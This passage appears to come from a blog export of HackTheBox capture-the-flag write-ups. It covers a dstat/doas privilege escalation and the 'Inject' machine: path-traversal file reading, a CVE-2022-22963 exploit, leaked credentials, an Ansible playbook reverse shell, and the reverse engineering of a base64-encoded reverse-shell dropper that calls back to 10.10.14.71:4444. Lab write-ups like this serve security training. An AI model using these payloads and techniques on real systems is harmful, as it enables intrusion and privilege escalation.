/run/user/1001 /run/user/1001/dbus-1 /run/user/1001/dbus-1/services /run/user/1001/gnupg /run/user/1001/inaccessible /run/user/1001/systemd /run/user/1001/systemd/transient /run/user/1001/systemd/units /snap/core20/1695/run/lock /snap/core20/1695/tmp /snap/core20/1695/var/tmp /tmp /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix #)You_can_write_even_more_files_inside_last_directory /var/crash /var/lib/php/sessions /var/tmp /var/tmp/cloud-init /var/www/html/tiny/uploads ╔══════════╣ Interesting GROUP writable files (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files Group player: /usr/local/share/dstat ╔══════════╣ Executable files potentially added by user (limit 70) 2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit 2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas 2022-11-17+09:09:15.5399067120 /usr/local/bin/doas 2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh 2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh I notice that the player group has 777 access to the /usr/local/share/dstat folder: drwxrwx--- 2 root player 4096 May 4 16:12 dstat I google what dstat is and if there are any exploits: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/ I create a /usr/local/share/dstat/dstat_evil.py file with a reverse shell inside. I run: dstat --evil → I can get a reverse shell but with my player user, I need to see when root executes the command or something that increases the privilege. I can’t see the processes, as shown by linpeas, because the file system /proc is mounted with hidepid=2. Back to linpeas output: 2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit 2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas 2022-11-17+09:09:15.5399067120 /usr/local/bin/doas The first two binaries have nothing special while the third one has SETUID enabled, I’m looking for useful exploits: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/ I check if there is a pre-existing configuration: /usr/local/etc/doas.conf permit nopass player as root cmd /usr/bin/dstat Ok, here is the way to become root that was missing, I can get a reverse shell as root by recreating the dstat_evil.py plugin with a reverse shell inside and giving the command: /usr/local/bin/doas /usr/ bin/dstat --evil " },{ "title": "Inject writeup", "tags": ["Writeups","HackTheBox","CTF","Local-File-Inclusion","SpringFramework","SpringCloud","CVE-2022-22963","Plaintext-Password","SSH-DenyUsers","ansible"], "date": "April 23, 2023", "meta": "0xfederico", "author": "0xfederico", "content": "INDEX Enumeration Privesc frank Privesc www-data Extra (just for fun)Enumeration nmap -A -p- -T4 10.10.11.204 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA) | 256 d51c81c97b076b1cc1b429254b52219f (ECDSA) |_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel gobuster dir -u http://inject.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /register (Status: 200) [Size: 5654] /blogs (Status: 200) [Size: 5371] /upload (Status: 200) [Size: 1857] /environment (Status: 500) [Size: 712] /error (Status: 500) [Size: 106] /release_notes (Status: 200) [Size: 1086] /show_image (Status: 400) [Size: 194] gobuster dns -d inject.htb -t 50 -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt gobuster vhost -u http://inject.htb:8080/ -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt Found: gc._msdcs Status: 400 [Size: 435] Found: _domainkey Status: 400 [Size: 435] I try the file upload functionality: <form action=\"/upload\" method=\"post\" enctype=\"multipart/form-data\"> <input class=\"form-control\" name=\"file\" type=\"file\" id=\"formFile\"><br /> <input type=\"submit\" value=\"Upload\" class=\"btn btn-warning\"> </form> I create a test txt file with test inside and I upload it POST /upload HTTP/1.1 Host: inject.htb:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------21847287539462960801171425640 Content-Length: 223 Origin: http://inject.htb:8080 DNT: 1 Connection: close Referer: http://inject.htb:8080/upload Upgrade-Insecure-Requests: 1 -----------------------------21847287539462960801171425640 Content-Disposition: form-data; name=\"file\"; filename=\"test.png\" Content-Type: text/plain test -----------------------------21847287539462960801171425640-- On the website I can see: <a class=\"text-success\" href=\"/show_image?img=test.png\">View your Image</a> I open the image and this error appears: <img src=\"http://inject.htb:8080/show_image?img=test.png\" alt=\"The image “http://inject.htb:8080/show_image?img=test.png” cannot be displayed because it contains errors.\"> The above error is browser-level, so I’m using Python to see what’s actually going on: import requests with open('test.png', 'w') as f: f.write('test') with open('test.png', 'rb') as f: r = requests.post( 'http://inject.htb:8080/upload/', files={'file': f}, data={'filename':'test.png'} ) r = requests.get('http://inject.htb:8080/show_image?img=test.png') print(r.text) Output: test I edit the path to see if I get any errors: http://inject.htb:8080/show_image?img=test.png/etc/passwd {\"timestamp\":\"2023-04-02T16:26:58.789+00:00\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"URL [file:/var/www/WebApp/src/main/uploads/test.png/etc/passwd] cannot be resolved in the file system for checking its content length\",\"path\":\"/show_image\"} Found the path where the web app is hosted: /var/www/WebApp/src/main/ Maybe there is a LFI: http://inject.htb:8080/show_image?img=../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin frank:x:1000:1000:frank:/home/frank:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false sshd:x:113:65534::/run/sshd:/usr/sbin/nologin phil:x:1001:1001::/home/phil:/bin/bash fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:997:996::/var/log/laurel:/bin/false I’m looking for the source files: import requests import json import sys wordlist = sys.argv[1] lfipath = sys.argv[2] ext = sys.argv[3] with open(wordlist, 'r') as f: lines = f.readlines() for i in range(len(lines)): l = lines[i].strip() print(f'[{i}/{len(lines)}] /show_image?img={lfipath}{l}{ext}') r = requests.get(f'http://inject.htb:8080/show_image?img={lfipath}{l}{ext}') try: json.loads(r.text) except ValueError: with open('founds.txt', 'a') as ff: ff.write(f'filepath: {lfipath}{l}{ext}\\n') ff.write(f'content:\\n{r.text}\\n') ff.write(f'-'*50) ff.write('\\n') I use the two wordlists: https://github.com/emadshanab/WordLists-20111129/blob/master/Filenames_or_Directories_All.wordlist https://github.com/digination/dirbuster-ng/blob/master/wordlists/common.txt While searching for the source files, I noticed that the responses from the web server are delayed by a few seconds and above all that the response is none other than an ls of the selected directory. So for this reason the script can be reduced to a trivial one: import requests import sys r = requests.get(sys.argv[1]) print(r.text) python3 httpget.py \"http://inject.htb:8080/show_image?img=../\" java resources uploads So server side java is present, I keep on enumerating python3 httpget.py \"http://inject.htb:8080/show_image?img=../java\" com META-INF python3 httpget.py \"http://inject.htb:8080/show_image?img=../java/com\" example python3 httpget.py \"http://inject.htb:8080/show_image?img=../java/com/example\" WebApp python3 httpget.py \"http://inject.htb:8080/show_image?img=../java/com/example/WebApp\" user WebAppApplication.java WebAppApplication.java package com.example.WebApp; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class WebAppApplication { public static void main(String[] args) { SpringApplication.run(WebAppApplication.class, args); } } Nothing interesting. python3 httpget.py \"http://inject.htb:8080/show_image?img=../java/com/example/WebApp/user\" User.java UserController.java User.java //package com.example.WebApp.user; // //import org.hibernate.annotations.GeneratorType; //import org.hibernate.annotations.ValueGenerationType; // //import javax.persistence.*; // //@Entity //@Table(name = \"zodd_users\") //public class User { // @Id // @GeneratedValue(strategy = GenerationType.IDENTITY) // private Long id; // // @Column(nullable = false, unique = true, length = 45) // private String email; // // public String getPassword() { // return password; // } // // public void setPassword(String password) { // this.password = password; // } // // @Column(nullable = false, length = 64) // private String password; // private String firstName; // private String lastName; // // public Long getId() { // return id; // } // // public void setId(Long id) { // this.id = id; // } // // public String getEmail() { // return email; // } // // public void setEmail(String email) { // this.email = email; // } // // public String getFirstName() { // return firstName; // } // // public void setFirstName(String firstName) { // this.firstName = firstName; // } // // public String getLastName() { // return lastName; // } // // public void setLastName(String lastName) { // this.lastName = lastName; // } //} UserController.java package com.example.WebApp.user; import org.springframework.core.io.Resource; import org.springframework.core.io.UrlResource; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import java.nio.file.Path; import org.springframework.ui.Model; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import javax.activation.*; import java.io.*; import java.net.MalformedURLException; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardCopyOption; @Controller public class UserController { private static String UPLOADED_FOLDER = \"/var/www/WebApp/src/main/uploads/\"; @GetMapping(\"\") public String homePage(){ return \"homepage\"; } @GetMapping(\"/register\") public String signUpFormGET(){ return \"under\"; } @RequestMapping(value = \"/upload\", method = RequestMethod.GET) public String UploadFormGet(){ return \"upload\"; } @RequestMapping(value = \"/show_image\", method = RequestMethod.GET) public ResponseEntity getImage(@RequestParam(\"img\") String name) { String fileName = UPLOADED_FOLDER + name; Path path = Paths.get(fileName); Resource resource = null; try { resource = new UrlResource(path.toUri()); } catch (MalformedURLException e){ e.printStackTrace(); } return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource); } @PostMapping(\"/upload\") public String Upload(@RequestParam(\"file\") MultipartFile file, Model model){ String fileName = StringUtils.cleanPath(file.getOriginalFilename()); if (!file.isEmpty() && !fileName.contains(\"/\")){ String mimetype = new MimetypesFileTypeMap().getContentType(fileName); String type = mimetype.split(\"/\")[0]; if (type.equals(\"image\")){ try { Path path = Paths.get(UPLOADED_FOLDER+fileName); Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING); } catch (IOException e){ e.printStackTrace(); } model.addAttribute(\"name\", fileName); model.addAttribute(\"message\", \"Uploaded!\"); } else { model.addAttribute(\"message\", \"Only image files are accepted!\"); } } else { model.addAttribute(\"message\", \"Please Upload a file!\"); } return \"upload\"; } @GetMapping(\"/release_notes\") public String changelog(){ return \"change\"; } @GetMapping(\"/blogs\") public String blogPage(){ return \"blog\"; } } springframework is used and in the db maybe there could be a table named zodd_users python3 httpget.py \"http://inject.htb:8080/show_image?img=../resources\" application.properties media META-INF static templates application.properties server.tomcat.relaxed-query-chars=|,{,},[,] server.error.whitelabel.enabled=false spring.main.allow-circular-references=true spring.servlet.multipart.max-file-size=1MB spring.servlet.multipart.max-request-size=2MB spring.cloud.config.uri= spring.cloud.config.allow-override=true debug=false server.error.include-message=always Ok, tomcat is used as web server. python3 httpget.py \"http://inject.htb:8080/show_image?img=../uploads\" test.png I go up again to see other files: python3 httpget.py \"http://inject.htb:8080/show_image?img=../../\" main test python3 httpget.py \"http://inject.htb:8080/show_image?img=../../../\" .classpath .DS_Store .idea .project .settings HELP.md mvnw mvnw.cmd pom.xml src target pom.xml <?xml version=\"1.0\" encoding=\"UTF-8\"?> <project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>WebApp</artifactId> <version>0.0.1-SNAPSHOT</version> <name>WebApp</name> <description>Demo project for Spring Boot</description> <properties> <java.version>11</java.version> </properties> <dependencies> <dependency> <groupId>com.sun.activation</groupId> <artifactId>javax.activation</artifactId> <version>1.2.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-function-web</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>bootstrap</artifactId> <version>5.1.3</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>webjars-locator-core</artifactId> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>${parent.version}</version> </plugin> </plugins> <finalName>spring-webapp</finalName> </build> </project> Googling “spring boot 2.6.5 exploit” I find: https://github.com/ckkok/spring4shell-poc (CVE-2022-22965) Other useful links: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html https://github.com/BobTheShoplifter/Spring4Shell-POC https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc https://www.microsoft.com/en-us/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/ Impacted systems have the following traits: Running JDK 9.0 or later Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions Apache Tomcat as the Servlet container: Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted Tomcat has spring-webmvc or spring-webflux dependencies From the pom.xml file I see that neither of the two dependencies are present: spring-webmvc or spring-webflux. So this vulnerability is not exploitable on this system! I keep looking for possible vulnerabilities from the pom.xml file and I find: https://sysdig.com/blog/cve-2022-22963-spring-cloud/ Exploit: https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit/blob/main/exploit.py python3 exploit.py -u \"http://inject.htb:8080/\" python3 -c 'import pty; pty.spawn(\"/bin/bash\")' Privesc frank I run linpeas.sh ╔══════════╣ Cleaned processes ╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes frank 826 3.5 10.0 3606460 401272 ? Ssl 06:55 3:28 /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar ╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/phil/.bash_history /home/phil/user.txt /home/frank/.bash_history /home/frank/.m2/settings.xml /root/ ╔══════════╣ Searching folders owned by me containing others files on it (limit 100) -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml ╔══════════╣ Readable files belonging to root and readable by me but not world readable -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml ╔══════════╣ Unexpected in /opt (usually empty) total 12 drwxr-xr-x 3 root root 4096 Oct 20 2022 . drwxr-xr-x 18 root root 4096 Feb 1 18:38 .. drwxr-xr-x 3 root root 4096 Oct 20 2022 automation /home/frank/.m2/settings.xml <?xml version=\"1.0\" encoding=\"UTF-8\"?> <settings xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\"> <servers> <server> <id>Inject</id> <username>phil</username> <password>DocPhillovestoInject123</password> <privateKey>${user.home}/.ssh/id_dsa</privateKey> <filePermissions>660</filePermissions> <directoryPermissions>660</directoryPermissions> <configuration></configuration> </server> </servers> </settings> sshpass -p 'DocPhillovestoInject123' ssh phil@inject.htb … it does not work! In the /etc/ssh/sshd_config file there is DenyUsers phil so I can only login with su - phil. Privesc root I monitor processes with pspy64 2023/04/25 18:46:01 CMD: UID=0 PID=70651 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 2023/04/25 18:46:01 CMD: UID=0 PID=70650 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/ev.yml /opt/automation/tasks/playbook_1.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70649 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70655 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70653 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/ev.yml 2023/04/25 18:46:01 CMD: UID=0 PID=70657 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml All YAML files in /opt/automation/tasks/ folder are executed, can I write to them? ls -al /opt/automation/ drwxrwxr-x 2 root staff 4096 Apr 25 21:14 tasks id uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff) find / -group staff 2>/dev/null /opt/automation/tasks /root ls -al / drwx------ 6 root staff 4096 Mar 6 13:15 root I just have to create an evil YAML file: - hosts: localhost tasks: - name: RShell command: bash /tmp/revshell.sh Extra (just for fun) While running pspy64 I stumbled upon this command and couldn’t resist reversing the binary: 2023/04/25 17:22:42 CMD: UID=1000 PID=26889 | /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/ccXxY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64' ; chmod +x '/tmp/ACsmb' ; '/tmp/ACsmb' ; rm -f '/tmp/ACsmb' ; rm -f '/tmp/ccXxY.b64' Spread over several lines it becomes: /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== >> '/tmp/ccXxY.b64' ((which base64 >&2 && base64 -d -) ||\\ (which base64 >&2 && base64 --decode -) ||\\ (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) ||\\ (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') ||\\ (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)'))\\ 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64' chmod +x '/tmp/ACsmb' '/tmp/ACsmb' rm -f '/tmp/ACsmb' rm -f '/tmp/ccXxY.b64' I disassemble the binary: objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/ACsmb ACsmb: file format binary Disassembly of section .data: 00000000 <.data>: 0: 7f 45 jg 0x47 2: 4c rex.WR 3: 46 02 01 rex.RX add r8b,BYTE PTR [rcx] 6: 01 00 add DWORD PTR [rax],eax ... 10: 02 00 add al,BYTE PTR [rax] 12: 3e 00 01 ds add BYTE PTR [rcx],al 15: 00 00 add BYTE PTR [rax],al 17: 00 78 00 add BYTE PTR [rax+0x0],bh 1a: 40 00 00 rex add BYTE PTR [rax],al 1d: 00 00 add BYTE PTR [rax],al 1f: 00 40 00 add BYTE PTR [rax+0x0],al ... 32: 00 00 add BYTE PTR [rax],al 34: 40 00 38 add BYTE PTR [rax],dil 37: 00 01 add BYTE PTR [rcx],al 39: 00 00 add BYTE PTR [rax],al 3b: 00 00 add BYTE PTR [rax],al 3d: 00 00 add BYTE PTR [rax],al 3f: 00 01 add BYTE PTR [rcx],al 41: 00 00 add BYTE PTR [rax],al 43: 00 07 add BYTE PTR [rdi],al ... 51: 00 40 00 add BYTE PTR [rax+0x0],al 54: 00 00 add BYTE PTR [rax],al 56: 00 00 add BYTE PTR [rax],al 58: 00 00 add BYTE PTR [rax],al 5a: 40 00 00 rex add BYTE PTR [rax],al 5d: 00 00 add BYTE PTR [rax],al 5f: 00 fa add dl,bh 61: 00 00 add BYTE PTR [rax],al 63: 00 00 add BYTE PTR [rax],al 65: 00 00 add BYTE PTR [rax],al 67: 00 7c 01 00 add BYTE PTR [rcx+rax*1+0x0],bh 6b: 00 00 add BYTE PTR [rax],al 6d: 00 00 add BYTE PTR [rax],al 6f: 00 00 add BYTE PTR [rax],al 71: 10 00 adc BYTE PTR [rax],al 73: 00 00 add BYTE PTR [rax],al 75: 00 00 add BYTE PTR [rax],al 77: 00 31 add BYTE PTR [rcx],dh 79: ff 6a 09 jmp FWORD PTR [rdx+0x9] 7c: 58 pop rax 7d: 99 cdq 7e: b6 10 mov dh,0x10 80: 48 89 d6 mov rsi,rdx 83: 4d 31 c9 xor r9,r9 86: 6a 22 push 0x22 88: 41 5a pop r10 8a: 6a 07 push 0x7 8c: 5a pop rdx 8d: 0f 05 syscall 8f: 48 85 c0 test rax,rax 92: 78 51 js 0xe5 94: 6a 0a push 0xa 96: 41 59 pop r9 98: 50 push rax 99: 6a 29 push 0x29 9b: 58 pop rax 9c: 99 cdq 9d: 6a 02 push 0x2 9f: 5f pop rdi a0: 6a 01 push 0x1 a2: 5e pop rsi a3: 0f 05 syscall a5: 48 85 c0 test rax,rax a8: 78 3b js 0xe5 aa: 48 97 xchg rdi,rax ac: 48 b9 02 00 11 5c 0a movabs rcx,0x470e0a0a5c110002 b3: 0a 0e 47 b6: 51 push rcx b7: 48 89 e6 mov rsi,rsp ba: 6a 10 push 0x10 bc: 5a pop rdx bd: 6a 2a push 0x2a bf: 58 pop rax c0: 0f 05 syscall c2: 59 pop rcx c3: 48 85 c0 test rax,rax c6: 79 25 jns 0xed c8: 49 ff c9 dec r9 cb: 74 18 je 0xe5 cd: 57 push rdi ce: 6a 23 push 0x23 d0: 58 pop rax d1: 6a 00 push 0x0 d3: 6a 05 push 0x5 d5: 48 89 e7 mov rdi,rsp d8: 48 31 f6 xor rsi,rsi db: 0f 05 syscall dd: 59 pop rcx de: 59 pop rcx df: 5f pop rdi e0: 48 85 c0 test rax,rax e3: 79 c7 jns 0xac e5: 6a 3c push 0x3c e7: 58 pop rax e8: 6a 01 push 0x1 ea: 5f pop rdi eb: 0f 05 syscall ed: 5e pop rsi ee: 6a 7e push 0x7e f0: 5a pop rdx f1: 0f 05 syscall f3: 48 85 c0 test rax,rax f6: 78 ed js 0xe5 f8: ff e6 jmp rsi Debugging: gdb ACsmb I load the program at the first instruction: starti I look at the next 15 instructions that will be executed: display /15i $pc => 0x400078: xor %edi,%edi 0x40007a: push $0x9 0x40007c: pop %rax 0x40007d: cltd 0x40007e: mov $0x10,%dh 0x400080: mov %rdx,%rsi 0x400083: xor %r9,%r9 0x400086: push $0x22 0x400088: pop %r10 0x40008a: push $0x7 0x40008c: pop %rdx 0x40008d: syscall 0x40008f: test %rax,%rax 0x400092: js 0x4000e5 0x400094: push $0xa Ok I’m here: 7c: 58 pop rax 7d: 99 cdq 7e: b6 10 mov dh,0x10 80: 48 89 d6 mov rsi,rdx 83: 4d 31 c9 xor r9,r9 86: 6a 22 push 0x22 88: 41 5a pop r10 8a: 6a 07 push 0x7 8c: 5a pop rdx 8d: 0f 05 syscall 8f: 48 85 c0 test rax,rax 92: 78 51 js 0xe5 94: 6a 0a push 0xa I put breakpoints before each syscall to retrieve the number of the called function in the rax register: 0x40008c: pop %rdx 0x40008d: syscall ... 0x4000a2: pop %rsi 0x4000a3: syscall ... 0x4000bf: pop %rax 0x4000c0: syscall ... 0x4000d8: xor %rsi,%rsi 0x4000db: syscall ... 0x4000ea: pop %rdi 0x4000eb: syscall b *0x40008d rax 0x9 9 rdi 0x0 0 rsi 0x1000 4096 rdx 0x7 7 r10 0x22 34 r8 0x0 0 r9 0x0 0 The site that I used to understand the syscalls parameters: https://filippo.io/linux-syscall-table/ 9\tmmap\tsys_mmap %rdi -> unsigned long addr\t %rsi -> unsigned long len %rdx -> unsigned long prot %r10 -> unsigned long flags %r8\t-> unsigned long fd %r9 -> unsigned long off So it’s: mmap ( NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); b *0x4000a3 rax 0x29 41 rdi 0x2 2 rsi 0x1 1 rdx 0x0 0 41\tsocket\tsys_socket %rdi -> int family %rsi -> int type %rdx -> int protocol So it’s: socket ( AF_INET, SOCK_STREAM, NULL ); in the third parameter 0 indicates that the caller does not want to specify the protocol and will leave it up to the service provider. b *0x4000c0 rax 0x2a 42 rdi 0x3 3 rsi 0x7fffffffdec0 140737488346816 rdx 0x10 16 42\tconnect\tsys_connect %rdi -> int fd %rsi -> struct sockaddr __user * uservaddr %rdx -> int addrlen https://pubs.opengroup.org/onlinepubs/7908799/xns/syssocket.h.html struct sockaddr{ sa_family_t sa_family address family char sa_data[] socket address (variable-length data) }; I print the two bytes of sa_family_t: x/2bd 0x7fffffffdeb0 2 sa_family has value 2, so it’s AF_INET, nothing new! sa_data as it says addrlen is 16 bytes so I print them: x/16bx 0x7fffffffdeb0+2 0x7fffffffdeb2: 0x11 0x5c 0x0a 0x0a 0x0e 0x47 0x00 0x80 0x7fffffffdeba: 0xff 0xf7 0xff 0x7f 0x00 0x00 0x02 0x00 Looking at the network traffic I can understand the meaning of these bytes: 0x11 0x5c = 4444 = DST PORT 0x0a 0x0a 0x0e 0x47 = 10.10.14.71 = DST IP So it’s: connect ( 3, \"10.10.14.71:4444\", 16 ); The syscall does not generate traffic and crashes, skip it by going to the instruction after: jump *0x4000c2 Or I could create a virtual interface with IP address 10.10.14.71 which will refuse the connection. b *0x4000db rax 0x23 35 rdi 0x7fffffffdeb0 140737488346800 rsi 0x0 0 35\tnanosleep\tsys_nanosleep %rdi -> struct timespec __user * rqtp %rsi -> struct timespec __user * rmtp struct timespec { time_t tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ }; time_t matches a signed integer so I print its value with x/wd 0x7fffffffdeb0 5 I do the same for the second value: x/gd 0x7fffffffdeb0+4 0 I stop before the while true JMP: b *0x4000e3 And next I jump to the next instruction: j *0x4000e5 b *0x4000eb rax 0x3c 60 rdi 0x1 1 60\texit\tsys_exit %rdi -> int error_code So it’s: exit ( 1 ); A faster method but that gives me less freedom: strace ./ACsmb execve(\"./ACsmb\", 